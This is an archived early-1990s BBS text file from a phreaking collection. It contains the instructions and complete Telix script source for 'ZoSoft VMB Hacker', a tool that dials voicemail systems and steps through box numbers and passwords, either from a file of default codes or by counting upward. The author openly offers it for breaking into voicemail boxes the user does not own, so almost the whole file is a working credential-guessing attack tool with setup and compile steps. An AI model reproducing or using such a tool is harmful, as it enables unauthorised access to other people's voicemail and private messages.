home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / hacking / phreak_utils_pc / vmbhack.slt < prev    next >
Encoding:
Text File  |  1995-03-05  |  10.3 KB  |  342 lines

  1.  
  2.                     +-------------------------------------+
  3.                     |      ZoSoft Telix VMB Hacker        |
  4.                     |                                     |
  5.                     |       written by: Zoso Puda         |
  6.                     +-------------------------------------+
  7. First words
  8. -----------
  9.    After reading Night Ranger's article (see PHRACK 34), I decided to make a
  10. VMB hacking program. Night Ranger provided good insight into how to hack VMB
  11. systems but some VMBs are hard to crack. What I came up with is a program to
  12. help me hack some of the harder systems. The ones that don't use the defaults
  13. are tough. Also my phone has the buttons and earpiece in one unit and I had to
  14. dial then put the phone to my ear and listen, look at the buttons to dial a
  15. number and put the phone back to my ear to listen. It soon became tiresome.
  16.  
  17.    What I finally came up with was a program to let me run all the phone
  18. functions from the keyboard. My modem speaker is loud enough to hear clearly so
  19. it seemed like the perfect thing to do. I also automated certain features like
  20. incrementing the password or box number. The program is not fully automated
  21. however. You must run this program manually. It's main purpose is to allow you
  22. to run normal phone functions via the keyboard. If you cannot hear clearly
  23. through your modem speaker then pick up the phone after the program dials the
  24. VMB phone # and hang up the phone before hanging up the modem.
  25.  
  26.    What follows is a brief description on how to use the program, compile the
  27. program, and run the program. A working knowledge of VMB systems is expected.
  28.  
  29. Parameter details
  30. -----------------
  31.   VMB phone number : If you don't know this, give it up.
  32.  
  33.   Setup sequence : This code is used for systems that require a '9' or '#' or
  34.                    '*' to be pressed before the box number. Up to 3 characters
  35.                    can be in this string.
  36.  
  37.   Valid Box #      : This would be a known valid box or the box you will
  38.                      be attempting to hack. This value remains constant.
  39.  
  40.   Codefile filename: You may use a file to get 'default' or your favorite
  41.                      passwords from. You must include the extension.
  42.  
  43.   Starting box/code: Box # or code to start checking. This value will
  44.                      increase automatically upon pressing [F7].
  45.  
  46. Using the function keys
  47. -----------------------
  48.                 [F1]    Dials the VMB system (see params).
  49.                 [F2]    Hangs-up the modem.
  50.                 [F3]    Closes the current codefile.(see params).
  51.                 [F4]    Lets you set the current code/box #.
  52.                 [F5]    Dials the Setup sequence (see params).
  53.                 [F6]    Dials the current code.
  54.                 [F7]    Makes the next code current.
  55.                 [F8]    Dials the valid box (see params).
  56.                 [F9]    Allows you to re-set the parameters.
  57.                 [F10]   Hangs-up and quits the program.
  58.                 [0 - 9] These keys will dial 0 - 9 respectively.
  59.                 [*, #]  These keys will dial * and #.
  60.                 [/]     Used as a substitute # for the keypad.
  61.  
  62. Basic Insructions
  63. -----------------
  64. Codefiles should be stored in the same directory as your Telix program.
  65.  
  66. A sample codefile should look like this:
  67.  
  68. 1111
  69. 2222
  70. 3333
  71. etc...
  72.  
  73. I suggest you make seperate codefiles for the number of digits in each code.
  74. For example, all 3 digit codes should be in a file called 3DIGIT.COD, or
  75. something similar.
  76.  
  77. During parameter entry, if you enter a codefile and it exists, you will NOT
  78. be prompted for a 'Starting box/code'. When the codefile is finished, the
  79. current code will set itself to 1000.
  80.  
  81. If you enter a blank for the codefile or the name you entered doesn't exist
  82. then you will be prompted for a 'Starting Box/Code'.
  83.  
  84. Compiling
  85. ---------
  86.  Save the program within the 'CUT HERE' lines as VMBHACK.SLT. Copy the file
  87.  VMBHACK.SLT into the directory where your Telix scripts are. Compile using
  88.  CS.EXE. (example: CS VMBHACK.SLT) To run the program, load Telix and press
  89.  Alt-G followed by the program name (VMBHACK).
  90.  
  91. //---------------------------<CUT HERE>-------------------------------------
  92. //                   ZoSoft VMB Hacker Version 1.4
  93. //                    Code by: Zoso, November 1991
  94. //
  95. //           See PHRACK 34 for more information on VMB systems.
  96. //
  97. // NOTE: Do not remove the credits of the original author, modified versions
  98. //       you may add credits, but please do not remove any.
  99. //
  100. str code[10],                           // Global Variables
  101.     codes[10],
  102.     reset[1],
  103.     vmb_number[15],
  104.     borc[1],
  105.     valid[10],
  106.     setup[3];
  107. str filename[12],
  108.     fstatus[10];
  109. int f;
  110. int fflag = 0;
  111. init_modem()                            // Modem initialization
  112. {
  113. cputs("AT X3 S6=0 S7=0 S11=105 M1 L3"); // X must be 3, L is Loudness on
  114. cputs("^M");                            // some modems, you may have to
  115. waitfor("OK",20);                       // alter this. See you modem
  116. manual.
  117. }
  118. vmb_dial(str string)                    // Dial function
  119. {
  120. str workstr[20];
  121. workstr = string;
  122. strcat(workstr,";");
  123. cputs("ATDT");
  124. cputs(workstr);
  125. cputs("^M");
  126. cputs("^M");
  127. }
  128. hang_up()                               // Hang Up function
  129. {
  130. hangup();
  131. waitfor("",20);
  132. cputs("ATH0");
  133. cputs("^M");
  134. cputs("^M");
  135. clear_scr();
  136. display();
  137. }
  138. next_code()                             // Next code function
  139. {
  140. int cd;
  141. if (fflag)
  142.    {
  143.     if (not feof(f))                    // Check for file first
  144.        {
  145.         fgets(code,10,f);
  146.         return;
  147.        }
  148.     if (feof(f))
  149.        {
  150.         file_close();
  151.         code = "999";
  152.         goto NEXTCODE;
  153.        }
  154.    }
  155. NEXTCODE:
  156. cd = stoi(code);
  157. cd = cd + 1;                            // This line determines how the
  158. code
  159. itos(cd,code);                          // gets incremented.
  160. }
  161. set_code()                              // Enter new code
  162. {
  163. gotoxy(65,2);
  164. gets(code,10);
  165. }
  166. parameters()                            // Set parameters
  167. {
  168. str c[1];
  169. file_close();
  170. GETINFO:
  171. clear_scr();
  172. printsc("VMB Hacker Parameters^M^J");
  173. printsc("^M^JVMB phone number    :");
  174. gets(vmb_number,15);
  175. printsc("^M^JSetup sequence      :");
  176. gets(setup,3);
  177. printsc("^M^JValid box #         :");
  178. gets(valid,10);
  179. printsc("^M^JCodefile filename   :");
  180. gets(filename,12);
  181. if (filename != "")
  182.    {
  183.     open_file();
  184.     next_code();
  185.    }
  186. if (not fflag)
  187.    {
  188.     filename = "N/A";
  189.     printsc("^M^JStarting box/code   :");
  190.     gets(code,10);
  191.    }
  192. printsc("^M^J^M^JCorrect? (Y/n):");
  193. gets(c,1);
  194. if (c == "n" || c == "N")
  195.     goto GETINFO;
  196. }
  197. press_enter()                           // Pause routine
  198. {
  199. str a[1];
  200. pstraxy("Press [ENTER] to continue...",20,23,11);
  201. gets(a,1);
  202. }
  203. title_scr()                             // Title screen
  204. {
  205. str i[1];
  206. TITLE:
  207. clear_scr();
  208. pstraxy("  - ZoSoft VMB Hacker V1.4 -",20,4,11);
  209. pstraxy("written for Telix by: Zoso Puda",20,6,14);
  210. press_enter();
  211. }
  212. display()                               // Display screen
  213. {
  214. box(0,0,78,3,4,0,19); box(0,0,78,5,4,0,19);
  215. pstraxy("[ ZoSoft VMB Hacker V1.4 ]",25,0,31);
  216. pstraxy("VMB Number:",4,2,31);          // Information display
  217. pstraxy(vmb_number,16,2,27);
  218. pstraxy("Valid #:",33,2,31);
  219. pstraxy(valid,42,2,27);
  220. pstraxy("Current:",57,2,31);
  221. pstraxy(code,66,2,27);
  222. pstraxy("Codefile:",6,4,31);
  223. pstraxy(filename,16,4,27);
  224. pstraxy("File status:",29,4,31);
  225. pstraxy(fstatus,42,4,27);
  226. pstraxy("Setup sequence:",50,4,31);
  227. pstraxy(setup,66,4,27);
  228. box(0,6,78,10,4,0,103);                 // Function key display
  229. pstraxy("[           ]",30,6,111);
  230. pstraxy(" 0 - 9,*,#",31,6,110);
  231. pstraxy("[  ] Dial VMB", 2,7,111);
  232. pstraxy("F1", 3,7,110);
  233. pstraxy("[  ] Hang up",22,7,111);
  234. pstraxy("F2",23,7,110);
  235. pstraxy("[  ] Close file",42,7,111);
  236. pstraxy("F3",43,7,110);
  237. pstraxy("[  ] Set Current",61,7,111);
  238. pstraxy("F4",62,7,110);
  239. pstraxy("[  ] Setup seq.",2,8,111);
  240. pstraxy("F5", 3,8,110);
  241. pstraxy("[  ] Dial current",22,8,111);
  242. pstraxy("F6",23,8,110);
  243. pstraxy("[  ] Next box/code",42,8,111);
  244. pstraxy("F7",43,8,110);
  245. pstraxy("[  ] Valid box",61,8,111);
  246. pstraxy("F8",62,8,110);
  247. pstraxy("[  ] Parameters",22,9,111);
  248. pstraxy("F9",23,9,110);
  249. pstraxy("[   ] QUIT",41,9,111);
  250. pstraxy("F10",42,9,110);
  251. gotoxy(0,11);
  252. }
  253. quit_vmb()                              // End program
  254. {
  255. file_close();
  256. hangup();
  257. waitfor("",20);
  258. clear_scr();
  259. printsc("Thanks for using ZoSoft's VMB Hacker.^M^J^M^J");
  260. cputs_tr(_mdm_init_str);                // Restore modem params
  261. }
  262. open_file()                             // Open Codefile
  263. {
  264. fflag = 1;
  265. f = fopen(filename,"r");
  266. fstatus = "OPEN";
  267. if (ferror(f))
  268.     file_close();
  269. }
  270. file_close()                            // Close Codefile
  271. {
  272. fflag = 0;
  273. fclose(f);
  274. fstatus = "CLOSED";
  275. }
  276. main()                                  // MAIN program module
  277. {
  278. int chr;
  279. title_scr();
  280. parameters();
  281. clear_scr();
  282. display();
  283. init_modem();
  284. TOP:
  285. gotoxy(0,11);
  286. chr = inkeyw();
  287. if (chr == '0')    vmb_dial("0");       // Dial 0-9
  288. if (chr == '1')    vmb_dial("1");
  289. if (chr == '2')    vmb_dial("2");
  290. if (chr == '3')    vmb_dial("3");
  291. if (chr == '4')    vmb_dial("4");
  292. if (chr == '5')    vmb_dial("5");
  293. if (chr == '6')    vmb_dial("6");
  294. if (chr == '7')    vmb_dial("7");
  295. if (chr == '8')    vmb_dial("8");
  296. if (chr == '9')    vmb_dial("9");
  297. if (chr == '#')    vmb_dial("#");       // Pound sign (#)
  298. if (chr == '/')    vmb_dial("#");       // Make (/) same as (#) for keypad
  299. if (chr == '*')    vmb_dial("*");       // Asterisk (*)
  300. if (chr == 15104)                       // F1
  301.     vmb_dial(vmb_number);
  302. if (chr == 15360)                       // F2
  303.     hang_up();
  304. if (chr == 15616)                       // F3
  305.    {
  306.     file_close();
  307.     display();
  308.    }
  309. if (chr == 15872)                       // F4
  310.    {
  311.     set_code();
  312.     display();
  313.    }
  314. if (chr == 16128)                       // F5
  315.     vmb_dial(setup);
  316. if (chr == 16384)                       // F6
  317.     vmb_dial(code);
  318. if (chr == 16640)                       // F7
  319.    {
  320.     next_code();
  321.     display();
  322.    }
  323. if (chr == 16896)                       // F8
  324.     vmb_dial(valid);
  325. if (chr == 17152)                       // F9
  326.    {
  327.     hang_up();
  328.     parameters();
  329.     display();
  330.    }
  331. if (chr == 17408)                       // F10
  332.    {
  333.     quit_vmb();
  334.     goto END;
  335.    }
  336. goto TOP;
  337. END:
  338. prints("^M^J");
  339. }
  340. //---------------------------<CUT HERE>---------------------
  341.  
  342.